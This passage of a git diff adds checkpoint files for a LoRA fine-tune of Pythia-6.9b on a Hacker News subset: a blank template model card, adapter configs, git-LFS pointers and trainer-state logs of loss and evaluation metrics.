calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..d164f1ae25b126ea7034d2ebd2b9e6a5272c2ea2 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:4be675dea286db5088e944dee3d76ecd4052c6036ce0d19be803770cf4577042 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..0f3aca2e57908603c42265ba3db157f6166483dc --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b41ae73367dff64a0f4166933e696098a07e5d002e69d964734708a5b93117c8 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..90df82c0a610ae490c2592c79d46fe23cde8d351 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:1a5b7a10b9f8de84d4eac8f0b5437669695e0a3ed004e055b39340577de17c55 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..174b5438f88f4c3c799b43c4f559ca991fb938b4 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:7ef310c01f40cba8e9c44af8332d1cb681a7026399804fa2296ed59c6594e708 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..3d32ea744a24dbfed440b4d9148bd1e6e07d15bc --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/trainer_state.json @@ -0,0 +1,408 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 3.3333333333333335, + "eval_steps": 10, + "global_step": 250, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 4.096517996544e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-250/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..6294c7585e0fdfe94fc37fdeb1d98894dd4b8ffb --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cd1395c91de2107dffaddb58af637bed3b452f0b4689183469dad52885815db0 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..346030bb2eaac1cc1a96a0a2fb1dfcec8a49458e --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2ec05c4fc08dbc571257799d75a8442f2e478ce92ad4955dd06cbde714e43b8b +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..293d181974003fee2540af0648cfb4e42786ca56 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:78bbc69e88d5e1fb15138660b4de76d03b9476fa1ab2d16370f894a65eab3da3 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..9431a5b0a8e3a7cfc7a6acff3f3ba51f0ea91b16 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e388642b0db2b68dfc847810d17830763a6c1ccd5a0a2c34607435281dfa7f25 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..cad1613402371eca3850182242473eeb56e3a764 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-260/trainer_state.json @@ -0,0 +1,423 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 3.466666666666667, + "eval_steps": 10, + "global_step": 260, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 